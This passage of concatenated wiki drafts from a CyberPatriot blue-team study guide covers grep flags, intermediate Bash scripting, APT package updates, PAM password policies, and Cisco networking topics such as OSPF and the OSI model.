Huh, that's weird. We used grep to look for root. Why do we have kirills+? The answer is simple: grep looks for ALL results. We told it to simply find root, and as we can see, the kirills+ line has the string "chrootClie" in it's output: kirills+ 4787 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37260 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie This means that grep saw "root" in "chrootClie" and said: the user wanted to find all things with root, this countains root, so give the user this as an output as well.

But what if we want root search for simply a string, not a substring within a larger string? Well, simply put, we can add a -w flag. -w is short for the flag --word-regexp. this means it will "match only whole words" --- words that are by themselves.

<syntaxhighlight lang="text">kirillshore@Magma:~$ ps -ef | grep root -w
root 1 0 0 00:30 ? 00:00:05 /sbin/init splash
root 4579 2 0 09:26 ? 00:00:00 [psimon]
root 5912 2 0 09:29 ? 00:00:00 [kworker/1:2H]
root 6455 2 0 09:32 ? 00:00:02 [kworker/0:4-events]
root 6472 2 0 09:32 ? 00:00:00 [kworker/u8:0-ipv6_addrconf]
root 6662 2 0 09:38 ? 00:00:00 [kworker/0:0-mm_percpu_wq]
root 6679 2 0 09:38 ? 00:00:00 [kworker/u9:1-i915_flip]
root 6808 2 0 09:40 ? 00:00:00 [kworker/u8:1-cros_usbpd_log]
root 6843 2 0 09:41 ? 00:00:00 [kworker/1:2-i915-unordered]
root 6887 2 0 09:42 ? 00:00:00 [kworker/u9:2-i915_flip]
root 6980 2 0 09:45 ? 00:00:00 [kworker/0:1]
root 6983 2 0 09:45 ? 00:00:00 [kworker/1:0H-i915_cleanup]
root 6984 2 0 09:45 ? 00:00:00 [kworker/0:2H-kblockd]
root 7049 2 0 09:46 ? 00:00:00 [kworker/1:1-i915-unordered]
root 7155 2 0 09:48 ? 00:00:00 [kworker/u8:2-events_unbound]</syntaxhighlight>
as we can see, any lines that didn't contian root by itself were wiltered out.

Now, let's say that we have a file in which we need to find something. For example, we want to find all lines that mention 'sir'. However, the file is full of grammatical errors. Running the command like normal will not get all of the results we want:

<syntaxhighlight lang="text">kirillshore@Magma:~/GitHub/tmp$ cat romeo\ ampersand\ juliet\ chapter\ 1.md | grep sir
Abraham: Do you bite your thumb at us, sir?
Sampson: I do bite my thumb, sir.
Abraham: Do you bite your thumb at us, sir?
Sampson: No, sir. I do not bite my thumb at you, sir. But I bite my thumb, sir.
Abraham: Quarrel, sir! No, sir.
Sampson: If you do, sir, I am for you. I serve as good a man as you.
Sampson: Yes, better, sir.</syntaxhighlight>
This is where the -i flag comes in. The -i flag ensures that the output isn't case sensitive. This will result in the output returning both 'sir' and 'Sir':

<syntaxhighlight lang="text">kirillshore@Magma:~/GitHub/tmp$ cat romeo\ ampersand\ juliet\ chapter\ 1.md | grep -i sir
Abraham: Do you bite your thumb at us, sir?
Sampson: I do bite my thumb, sir.
Abraham: Do you bite your thumb at us, sir?
Sampson: No, sir. I do not bite my thumb at you, sir. But I bite my thumb, sir.
Gregory: Do you quarrel, Sir?
Abraham: Quarrel, sir! No, sir.
Sampson: If you do, sir, I am for you. I serve as good a man as you.
Sampson: Well, Sir.
Sampson: Yes, better, sir.</syntaxhighlight>

-----

This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.

[[Category:Linux Fundamentals|022]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Advanced Bash

2026-09-22T05:42:34Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 07-07-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

<li>Introductory and intermediate bash</li>
|}

In addition to what we've already learned, bash has some very useful advanced functions.

=== Exit codes ===

After a command completes in bash, the <code>?</code> variable will be set to its exit code.

<syntaxhighlight lang="text">user@system:/home/user$ ls
Desktop
Documents
Downloads
user@system:/home/user$ echo $?
0
user@system:/home/user$ ls Images
ls: cannot access 'images': No such file or directory
user@system:/home/user$ echo $?
2</syntaxhighlight>
=== Interpolation ===

Just like Bash can substitute variable names for there values, it can also replace commands with what happens when you run them with interpolation. If you wrap a command in <code>$()</code> or <code>``</code>, it will be executed, and replaced with its result. For example, if <code>a_command</code> would return <code>Desktop</code>, <code>ls $(a_command)</code> will actually execute as <code>ls Desktop</code>, and will therefore list everything in the desktop. <code>$()</code> and <code>``</code> are equivalent in function, but the former is preferred in most cases, as it is cleaner and can nest.

=== Arrays ===

Bash can hold not just text, but arrays, in its variables. You define an array in parenthesis like this: <code>array=(one two three)</code>. To access elements in an array, we use the <code>${}</code> syntax from earlier like this: <code>${array[0]}</code>. Like any regular language, 0 is the start, and -1 is the end. <code>${array[@]}</code> returns every element in the array. You can also use slices like this: <code>${array[@]:0:3}</code>, which will get elements 0, 1, and 2. To take slices from the end, you can do <code>${array[@]: -2}</code>, which will get the last two elements. NOTE: You ''do'' need to include the space after the colon for this.

<syntaxhighlight lang="text">user@system:/home/user$ array=(one two three four)
user@system:/home/user$ echo ${array[0]}
one
user@system:/home/user$ echo ${array[2]}
three
user@system:/home/user$ echo ${array[-1]}
four
user@system:/home/user$ echo ${array[@]}
one two three four
user@system:/home/user$ echo ${array[@]:0:3}
one two three
user@system:/home/user$ echo ${array[@]: -3}
two three four</syntaxhighlight>
== Bash for scripting ==

Bash, as previously mentioned, can be used for scripts too, so it includes all the control features you would expect of a scripting language.

=== IF statements ===

Bash IF statements use the following syntax:

<syntaxhighlight lang="text">if <commands>; then
...
elif <commands>; then
...
else
...
fi</syntaxhighlight>
IF statements are decided based on the commands you put in <code><commands></code> (you can use command joining). It will execute if the commands succeed (exit code 0). However, to do more basic operations like comparing strings in an if statement, you can use <code>[[ ]]</code>, and <code>(( ))</code> for math. Technically, <code>[[</code> is a command, but we can treat it as just part of the syntax. Some basic ways to use this are as follows:

<syntaxhighlight lang="text">if [[ "str a" == "str b" ]]; then
(runs if the two strings are equal)

if [[ "str a" != "str b" ]]; then
(runs if the two strings are not euqal)

if (( 1 == 2 )); then
(runs if the two operands are equal)

if (( 1 > 2 )); then
(runs if 1 > 2)

if (( $a <= $b )); then
(runs if a <= b)</syntaxhighlight>
NOTE: The strings can include variables, or even include just a variable, and the numbers can be substituted for variables that only contain numbers.

=== For loops ===

You can do a for loop in bash as follows:

<syntaxhighlight lang="bash">for i in "${array[@]}"; do
echo "$i"
done</syntaxhighlight>
This will iterate over every element in <code>array</code>. You can use slicing here to only get some of the array.

====== Further Reading ======

* https://linuxhandbook.com/bash/
* https://tldp.org/LDP/abs/html

[[Category:Linux Fundamentals|021]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Application Updates

2026-09-22T05:42:33Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 8-13-2025

 
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None! This is an introductory article.

|}

=== What is Application Updates? ===

Application Updates simply refers to updating the software on the system.

=== Why is this important? ===

Keeping your software up to date is important, as it ensures that you are using the latest versions of all software. This makes sure that you have the latest security patches and therefore reduces the attack surface.

=== How to update packages ===

To update packages on Debian-based linux distros (Ubuntu, Mint, Debian, etc...), we use APT.

==== apt update ====

Before we can actually update the packages, we need to run <code>sudo apt update</code>. While counterintuitive, this does not update the packages themselves, it updates the package lists so that APT knows what to actually update. To get started, run:

<syntaxhighlight lang="text">user@system:~$ sudo apt update
...</syntaxhighlight>
==== apt upgrade ====

Now that our package lists are updated, we can actually update everything. To do this, we use the command: <code>sudo apt upgrade</code>. This will fetch and install the latest versions of all packages on the system, keeping you up to date with the latest security fixes.

<syntaxhighlight lang="text">user@system:~$ sudo apt upgrade
...</syntaxhighlight>
====== Further Reading ======

* https://linuxize.com/post/how-to-use-apt-command/

[[Category:Linux Application Updates|028]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Intermediate Application Updates

2026-09-22T05:42:32Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 8-13-2025

 
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Intro application updates

|}

=== Some problems with apt update/upgrade ===

Using <code>apt update</code> and <code>apt upgrade</code> will work ~95% of the time to update software. However, there are a few things that can prevent apps from being updated like this.

==== Held Packages ====

APT includes a feature called <code>hold</code>. Packages marked as held will be kept at their current version and not updated even if a new version is available. To find all held apt packages, we can use <code>apt-mark</code>:

<syntaxhighlight lang="text">user@system:~$ sudo apt-mark showhold</syntaxhighlight>
If there are any held packages, you can unhold them with <code>apt-mark</code> like so:

<syntaxhighlight lang="text">user@system:~$ sudo apt-mark unhold xyz</syntaxhighlight>
After this, you can do <code>apt update</code> and <code>apt upgrade</code> again, and the previously-held package will be updated.

<syntaxhighlight lang="text">user@system:~$ sudo apt update
...
user@system:~$ sudo apt upgrade
...</syntaxhighlight>
==== Incomplete sources ====

When you run <code>sudo apt update</code> to update apt's sources, it is fetching the package lists from APT repositories listed in <code>/etc/apt/sources.list</code> If this list is missing some repositories, APT won't be able to fetch all of the updates. Every distro has different default sources, so you'll need to use something like the website in Further Reading to find the default sources.list for your distro. Once you find that, ensure that yours contains all the same lines and nothing is commented out that shouldn't be. Once that's fixed, update your apt sources and upgrade.

<syntaxhighlight lang="text">user@system:~$ sudo apt update
...
user@system:~$ sudo apt upgrade
...</syntaxhighlight>
====== Further Reading ======

* https://first2host.co.uk/blog/default-ubuntu-sources-list/
* https://askubuntu.com/questions/640986/how-to-get-a-list-of-installed-packages-held-back-from-upgrade
* https://askubuntu.com/questions/18654/how-to-prevent-updating-of-a-specific-package

[[Category:Linux Application Updates|029]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Advanced Application Updates

2026-09-22T05:42:32Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 9-10-2025

 
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Intermediate application updates

|}

=== Some problems with APT ===

==== Malicious Sources ====

Previously, we learned about missing or incomplete APT sources. However, not only can there be missing or inadequate sources, there could also be malicious sources that tell APT to download software from sources controlled by bad actors. Additionally, even if not malicious, unwanted sources facilitate the downloading of unwanted software and should be removed. To look for apt sources, you can check in <code>/etc/apt/sources.list</code> for any source line that does not seem to be official. Generally, all official sources will include ubuntu or the name of your distro. To be sure, you can take baselines of the this file on a clean copy of the OS and compare them. However, malicious sources don't have to be here, as apt allows for additional sources to be listed in files in <code>/etc/apt/sources.list.d</code>. Usually, this directory is empty or contains a readme of some sort, so if there's anything else in there it may be a malicious or unwanted sources. Some programs like firefox or docker require additional sources if they are to be installed with apt, so before removing a source, check and make sure that it is not required.

==== Unmet dependencies and broken packages ====

Sometimes, if the wrong package is installed or a dependency is not met, apt can enter a state where it can not function properly due to unmet dependencies. If this happens, you can run <code>apt --fix-broken install</code>. This will make apt attempt to resolve unmet dependencies and restore proper functionality. Cases like this usually happen due to installing the wrong package straight from a <code>.deb</code> file or because apt was using the wrong sources. Therefore, if you can't fix the problem with <code>apt --fix-broken install</code>, try removing any weird packages, ensuring your apt sources are set properly, running <code>apt update</code>, and then trying <code>apt --fix-broken install</code> again.

==== dpkg reconfigure ====

Another common issue that can come up with apt is that if the process is killed during the installation, update, or removal of a package, the package can become improperly configured, and apt will refuse to work. The solution is very simple however, as you can simply run <code>dpkg --force-all --configure -a</code>, and dpkg will resolve any errors, and apt should be restored.

====== Further Reading ======

* https://linuxsimply.com/linux-basics/package-management/package-manager-comparison/dpkg-vs-apt/
* https://askubuntu.com/questions/1473619/so-why-do-people-still-use-dpkg-when-there-is-apt

[[Category:Linux|030]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Account Policies

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 8-13-2025

 
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None! This is an introductory article.

|}

=== What is Account Policies? ===

Account policies refers to all system policies regerding user accounts and groups, including but not limited to things like password length and complexity, account locking, umask, and more.

=== Why is this important? ===

Account policies are important, as insecure account policies can permit insecure user accounts to exist, creating a more vulnerable attack surface. Secure account policies ensure that all user accounts meet high security standards, preventing simple attacks.

=== PAM ===

<code>PAM</code>, or Pluggable Authentication Modules is a piece of software that handles authentication in almost all versions of linux. PAM is one of the key elements of account policies. Further reading on PAM is recommended in addition to these guides.

=== Basic account policies ===

==== Password strength ====

Password strength is one of the most basic account policy settings, ensuring that all accounts have passwords that meet length, complexity, and dictionary requirements to prevent brute force attacks. Password strength can be enforced with PAM's <code>pam_pwquality.so</code> module. To get started, open up <code>/etc/pam.d/common-password</code> in a text editor. Find the <code>pwquality</code> line. It should look something like this:

<syntaxhighlight lang="text">password requisite pam_pwquality.so retry=3</syntaxhighlight>
As of now, this line only contains <code>retry=3</code>, allowing 3 retries when a user is prompted for their password. Yours may contain more options than just this. If so, great! You already have more password policies set by default. To ensure that you're using the most secure password policy, add the following options to your pwquality line:

<syntaxhighlight lang="text">minlen=12 maxrepeat=3 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 difok=3 reject_username enforce_for_root</syntaxhighlight>
It should look like this:

<syntaxhighlight lang="text">password requisite pam_pwquality.so retry=3 minlen=12 maxrepeat=3 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 difok=3 reject_username enforce_for_root</syntaxhighlight>
This is a lot, so let's break down what each of these arguments means.

* <code>retry=3</code>: As previously discussed, this allows 3 attempts to correctly enter your password.
* <code>minlen=12</code>: Requires passwords to be at least 12 characters long
* <code>maxrepeat=3</code>: Only allows 3 repeated characters in the password
* <code>ucredit=-1</code>: Requires at least one uppercase letter
* <code>lcredit=-1</code>: Requires at least one lowercase letter
* <code>dcredit=-1</code>: Requires at least one number
* <code>ocredit=-1</code>: Requires at least one special character or symbol
* <code>difok=3</code>: Requires that at least 3 character changes be present when changing a password
* <code>reject_username</code>: Reject a password that contains or is your username
* <code>enforce_for_root</code>: Enforces these settings even for the root user

==== Password age ====

While not as obvious as password strength, password age is also important for account security, as if passwords are kept too long without being changed it is more likely that they get stolen. Additionally, allowing passwords to be changed too soon also is insecure, as it makes it easier for attackers to change someone's password. Not to worry, as we can configure all of these settings in <code>/etc/login.defs</code>. To get started, open <code>/etc/login.defs</code> in your text editor. Then, find the group of lines that look like this:

<syntaxhighlight lang="text">PASS_MAX_DAYS 9999
PASS_MIN_DAYS 0
PASS_WARN_AGE 9999</syntaxhighlight>
If they are commented out, uncomment them, and if you don't have them, go ahead and add them. These lines set the maximum age for a password before a user must change it, the minimum age before it can be changed, and the age at which you will be warned of your password's impending expiry. Go ahead and set them to secure values like so:

<syntaxhighlight lang="text">PASS_MAX_DAYS 14
PASS_MIN_DAYS 5
PASS_WARN_AGE 7</syntaxhighlight>
====== Further Reading ======

* https://www.linuxtechi.com/enforce-password-policies-linux-ubuntu-centos/
* https://linuxtect.com/linux-etc-login-defs-tutorial/

[[Category:Linux Account Policies|024]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction (General)

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

cypat.guide is a non-profit organisation to help develop blue-team skills through articles and practice images developed by the community. This website includes docs for Windows, Linux, and Cisco.

-----

== Vulnerability Categories ==

Each virtual machine (VM) contains vulnerabilities grouped into categories. This guide focuses on these categories:

* '''Account Policies''' 
Password and lockout policies.
* '''Application Security Settings''' 
Critical services, required settings, and permissions.
* '''Application Updates''' 
Update status and automatic update configurations.
* '''Defensive Countermeasures''' 
Firewalls, antivirus software, encryption, etc.
* '''Forensic Questions''' 
Scenario-based questions assessing investigative skills.
* '''Local Policies''' 
Audit policies, user rights assignments, and security options (e.g., network security, privilege elevation).
* '''Operating System Updates''' 
Windows updates, service packs, and automatic update settings.
* '''Policy Violation: Malware''' 
Includes backdoors, remote admin tools, keyloggers, sniffers, etc.
* '''Policy Violation: Prohibited Files''' 
Unauthorized software archives, confidential files, etc.
* '''Policy Violation: Unwanted Software''' 
Games, scareware, adware, PUPs, hacking tools, etc.
* '''Service Auditing''' 
Enable/disable services.
* '''Uncategorized OS Settings''' 
Remote access, file sharing, screen locking, group policy settings, OS permissions, etc.
* '''User Auditing''' 
Authorized users, groups, and user-specific settings.

-----

Practice images are available for preparation [https://images.cypat.guide here].

== References ==

* https://en.m.wikipedia.org/wiki/CyberPatriot
* https://www.uscyberpatriot.org/Pages/Competition/FAQ.aspx

[[Category:General|999 Introduction (General)]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Cisco Todo

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

== Introduction ==

* What Are Cisco Challenges?
** What You're Actually Tested On: Concepts, Configuration, Troubleshooting
** How It Differs from Windows/Linux Images or Network Security Problems
* Getting Started
** Creating a NetAcad Account
** Joining the Cisco Course
** Installing and Setting Up Cisco Packet Tracer

== How to Approach Cisco Challenges ==

* Reading the README Efficiently
* Scripting in Cisco, Explained
* Top Troubleshooting Techniques
** <code>ping</code>, <code>tracert</code>, and Basic Connectivity Testing
** Spotting VLAN Misconfigurations
** .... more stuff soon

== Cisco Packet Tracer Essentials ==

* Navigating Packet Tracer
** Logical vs. Physical View
** Adding/Connecting Devices, Powering Them On
** Accessing Switch/Router CLIs
* Cisco CLI Basics
** Setting Hostname
** Assigning IP Addresses
** Setting and Encrypting Passwords
** Enabling/Disabling Interfaces
** Saving Configs (RAM vs. NVRAM, <code>write</code>, <code>copy run start</code>)

== Core Networking Concepts ==

* What Is a Network?
** End Devices: PCs, Servers
** Intermediary Devices: Switches, Routers, Firewalls
* OSI
** Key Layers: 1, 2, 3, 4, and 7
* IP Addressing (Without Crying)
** Binary Basics for Subnetting
** IP Classes, Network/Host/Broadcast IDs
** Subnetting:
*** FLSM
*** VLSM
* Extra Stuff
** How Switches Forward Frames

== Routing ==

* What Is Routing, Really?
* Understanding the Routing Table
** How to Read It
** How the Router Decides Where to Send Stuff
* Static Routing
** Configuration
** Verification <code>show ip route</code> and <code>ping</code>
* Dynamic Routing (Later Module)
** Quick Preview: OSPF
* EtherChannel (Thank me Later)
** PAgP
** LACP

== VLANs ==

* What Are VLANs
** Types: Access, Trunk, Native, Voice
** How VLAN Tagging Works
* Configuring VLANs in CLI
** Creating VLANs
** Assigning Ports to VLANs
** Trunk Ports vs. Access Ports
** Removing VLANs
* DTP
* Inter-VLAN Routing
** Router-on-a-Stick
** Multi-Layer Switching

== Secure Shell ==

* Console Port Security
* Configuring SSH

== NTP ==

== Syslog ==

== DHCPv4 ==

* Concepts (How it works?)
* Configuration
** DHCPv4 Server
** DHCPv4 Client

== OSPF ==

* Foundation (Link-state DB, Areas, Costs, Neighbors & Adjacencies, LSA Types)
* Configuration
** Router-ID
** Activating OSPF on interfaces
** Passive Interface
** Advertising default route

== ACL ==

* Concepts (How it works?)
* Configuration
** Router-ID
** Activating OSPF on interfaces
** Passive Interface
** Advertising default route

== NAT ==

* Concepts (How it works?)
* Configuration
** Static NAT
** Dynamic NAT
** Dynamic PAT

[[Category:Cisco|999 Cisco Todo]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Cisco Guide

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

This Github repository contains the Cisco guides for [https://cypat.guide/ cypat.guide].

[[Category:Cisco|999 Cisco Guide]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:OSPF Theory

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): Planterian

Last Updated: 5/28/2026

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

Basic Devices in Computer Internetworking

|}

OSPF, or Open Shortest Path First, is an algorithm used by routers to find optimum routes between two points on a network. It functions by collecting the cost data of each router connection on the network, as well as the connections of each router. This data is then used in an algorithm known as the Dijkstra Shortest-Path First (SPF) algorithm. Using this algorithm, a router is able to compute the most efficient route for a given packet to reach a destination network. OSPFv2 is the most current version of OSPF for IPv4 networks. OSPFv3 is the version of OSPF used for IPv6 networks.

== Basic Theory ==

The process of OSPF is comprised of several stages. The first stage is the discovery stage, in which all routers send Hello packets to all OSPF enabled ports, and wait for a response from other routers to discover their neighboring routers. This information is compiled for stage 2, at which point routers send out LSA (Link-State Advertisement) packets. These packets contain the state (up or down) and the cost (integer value used to compute efficiency) of the route between the two routers, as well as information about any LAN networks connected to the routers. These LSA packets are forwarded out of other connected ports on routers until all routers in the network have all LSAs in the network. In the next stage, routers build a LSDB (link-State Data Base) containing information from all the LSAs received, which gives the routers a map of the networks topology. The next stage is where the routers execute the SPF algorithm, computing the shortest path to all networks using the cost values and connection data. After this is completed, the data from the algorithm is placed into the routers IP routing table.

After this is done, routers can send LSU (Link-State Update) packets to inform other routers that a connection has been added, removed, or changed, at which point all routers redo the process of calculating optimum routes.

OSPF can be single area, wherein all routers are in the same logical “area” and can more easily connect, or it can be multi area, wherein separate logical areas are used to separate routers from each other. These areas are connected by border routers which exist in 2 or more areas at once, with different ports being in different logical areas. All areas must connect to one common area, usually area 0. Multi area OSPF is used for large networks, as routers in separate areas do not have to recalculate their routing tables when a router in a different area updates its links. As this is a resource intensive process, splitting the network into discrete areas allows administrators to reduce the amount of processing any one router has to do for OSPF.

There are several types of packets employed by the OSPF algorithm: The previously discussed Hello packets and LSA packets, as well as 3 other types. The first is the LSack packet, also known as the Link-State Acknowledgment packet, which is used by routers to acknowledge that they have received a packet from a received router. For example, a router sends a LSA packet and receives an LSack packet in return after the other router has received the LSA packet. The second type is the DBD (Data Base Description) packet, which is requested by routers from other routers periodically and contains a shortened copy of the requested routers OSPF routing database. This is done to check against the requesting routers own database to ensure they are identical, as this is necessary for proper routing. If there is a discrepancy detected, the router may send an LSR (Link-State Request) packet, which requests info on a specific link in the requested routers database. After an LSR is sent, the requested router can send an LSU (Link-State Update) packet with the requested link information.

A Router ID is a specific number attributed to a specific router that is used in the setup process. It identifies the router, while also assisting in deciding which router transmits its list first during setup. The router with the highest ID will be the first to send its info to other routers. If no ID is set up by an administrator, the ID will be automatically chosen. First, the router will check for any loop-back interfaces. If one exists, the IP of that interface will be used as the ID. If none exist, the highest configured IP on the router will be used.

== OSPF States ==

There are 7 states within the OSPF algorithm that any port can be in. These are cycled through during the OSPF setup process.

The first state is the Down state. This state occurs when the router has yet to receive any Hello packets. In this state, the router tries sending Hello packets, and listens for any coming in. Once a Hello packet is received, it transitions to the next state.

The second state is the Init state. The Init state (or initialization state) occurs directly after a Hello packet is received. The Hello packet will contain the router ID of the sending router, and the receiving router quickly transitions into the next state.

The third state is the Two-Way state. In this state, bi-directional communication between the two routers is set up. In configurations where a DR and BDR are required, this is where they are elected. The routers then transition to the next state.

The fourth state is the ExStart state. In this state, the routers will decide who will be first in sending their LSA or DBD packets, and protocol information for sending of said packets such as sequence numbers is configured. The routers move to the next state.

The fifth state is the Exchange state. In this state, the routers exchange DBD or LSA packets. If more information is needed, transition to the 6th state. If everything seems correct, transition to the 7th state.

The sixth state is the Loading state. In this state, routers exchange LSR and LSU packets. This is done to fix discrepancies in DBD exchanges. After all discrepancies are fixed, transition to the next state.

The final seventh state is the Full state. At this point, the routers are fully configured and begin normal operation.

== Designated and Backup Designated Routers ==

In large multi-access networks (networks where multiple routers are connected by multiple links), it can become an issue when every router sends out their own LSA. The number of LSA packets on the network can quickly balloon and cause traffic issues on the network. Due to this, large networks are configured to elect Designated Routers (DR) and Backup Designated Routers (BDR). These routers, elected for either having the best connection to the other routers or manually configured by an administrator, serve to mitigate the amount of LSAs on a network during setup. The process is as such: in a standard network, a router sends out its LSAs to all other routers it has access to, at which point all other routers send their LSAs to all other routers. In a DR enabled network, the first router only sends its LSA to the DR, and the DR will send the LSA to all other routers. Other routers will not respond to the LSA by flooding other routers with theirs. the BDR is elected as the second-best option, and used if the DR is offline or otherwise unavailable. All other routers on the network are configured at DROTHER (Designated Router Other). Note that routers will still use their routing table for the forwarding of standard packets, and DRs are only used for LSA packets.

The election process for a DR or BDR goes as follows: All routers have an interface priority value. The standard value is 1, with a max of 255. The router with the highest priority is elected as DR, and the second highest is elected as BDR. These numbers must be manually set by the system administrator. If all routers have a priority value of one, tie breaking methods must be used. A priority of 0 means that the router cannot be elected to DR or BDR. To do tie breaking, the routers use router ID. The router with the highest router ID is elected as DR, and so forth.

If a DR exits the network, the BDR becomes the DR and the third highest valued router is elected to BDR. If the previous DR then re-enters the network, it becomes a DROTHER even if its value is higher than the current DR. This persists until OSPF is recalculated or reset. The original DR cannot be elected to DR or BDR until the OSPF is recalculated or reset.

== OSPF Cost ==

The cost value is used by OSPF protocol to find optimum routes for packet travel. There are two ways a cost value is determined. The first is an administrator setting the cost manually to a selected value through CLI. The second is preformed when no manual value is given. The cost value is calculated by taking the reference bandwidth, typically 10^8, and dividing it by the bandwidth of the route in bits per second (bps). If the interface bandwidth is greater than the reference bandwidth, the value is capped at 1. The reference bandwidth can be changed via CLI. The reference bandwidth should be the same on all routers to ensure the algorithm works as intended. The reference should be adjusted whenever there is a bandwidth greater than Fast Ethernet (such as Gigabit Ethernet)

== Default routes ==

The default route in OSPF networks is used to connect OSPF networks to non-OSPF networks such as the IoT. This is done so that all devices on the OSPF network know how to reach the wider internet. To configure a default route, 2 things must occur. First, a default static route must be configured to the given interface per standard protocol, with mask 0.0.0.0. Then, the OSPF of the router must be configured to originate the default route to the network.

[[Category:Cisco Networking Concepts|037]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:OSI and TCP/IP Networking Models

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 11/27/2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

Networking models categorize and provide a structure for networking protocols and standards. There are 2 main networking models for network communication: the OSI model and TCP/IP model.

== The OSI Model ==

The Open Systems Interconnection (OSI) model, developed by the ISO, categorizes network functions into seven layers.

# '''Physical''' - This layer describes the mechanical, electrical, and functional methods to start and maintain physical connections for bit transmission.
# '''Data Link''' - This layer defines how data is formatted and exchanged for transmission over physical medium. It may also detects errors and manages node-to-node delivery.
# '''Network''' - This layer provides connectivity between end hosts on different networks. It uses logical addressing (IP Addressing), and provides path selection. Routers operate on this layer.
# '''Transport''' - This layer segments(takes large data and makes it smaller) and reassembles data as well as defines how data should be transfered for individual communication between end devices. This causes there to likely be less problems.
# '''Session''' - This layer establishes, manages, and terminates connections between local application and the remote application.
# '''Presentation''' - This layer formats the data to the appropriate format to be sent over the network.
# '''Application''' - This layer is used in software and identifies communication partners and synchronizes communication.

== The TCP/IP Model ==

The TCP/IP model was created by the US Department of Defense and maintained by the IETF. Unlike the OSI model, the TCP/IP model is divided into 4 layers, and matches closely how modern networks actually work.

=== The 4 Layers of TCP/IP ===

# '''Network Access''' - Maps to physical and data link layers of the OSI model.
# '''Internet''' - Directly maps to network layer of the OSI model.
# '''Transport''' - Directly maps to the transport layer of the OSI model.
# '''Application''' - Maps to the application, presentation, and session layers of the OSI model.

== Comparison of OSI and TCP/IP ==

While both models describe data communication, they organize layers differently. The TCP/IP model is the standard for the modern internet. However, the OSI model is often used as a reference for troubleshooting and education. [https://itexamanswers.net/wp-content/uploads/2020/05/OSI-and-TCP-IP-Model-Comparison.jpg Diagram (external image)]

== Data Encapsulation and PDUs ==

As data moves from the application layer to the physical layer for transmission, it goes through encapsulation. Protocol information is added at each level. The form that a piece of data takes at any layer is called a Protocol Data Unit (PDU).

The PDU naming convention follows the TCP/IP suite:

* '''Data''' - This is the general term for the PDU at the '''Application Layer'''.
* '''Segment:''' - This is the PDU at the '''Transport Layer''' (when using TCP). The protocol adds sequencing and port information.
* '''Packet''' - This is the PDU at the '''Internet/Network Layer'''. The protocol adds source and destination IP addresses.
* '''Frame''' - This is the PDU at the '''Network Access/Data Link Layer'''. The protocol adds source and destination physical (MAC) addresses.
* '''Bits''' - This is the PDU at the '''Physical Layer''', representing the data physically transmitted over the medium.

[https://itexamanswers.net/wp-content/uploads/2020/05/Protocol-Data-Units.jpg Diagram (external image)]

When the receiving host gets the stream of bits, it reverses the process of de-encapsulation. It removes headers layer by layer as the data moves up the stack toward the end-user application.

-----

=== Labs ===

* [https://drive.google.com/file/d/1pZvsm3f3xxsdEUjjP0VZvGFRBvsy6Jnr/view?usp=sharing CCNA Lab Day 3 (JIT)]

-----

=== References, Further Reading ===

* https://www.youtube.com/watch?v=t-ai8JzhHuY&list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&index=6
* https://www.geeksforgeeks.org/computer-networks/difference-between-osi-model-and-tcp-ip-model/

[[Category:Cisco Networking Concepts|036]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction (Cisco)

2026-09-22T05:42:30Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

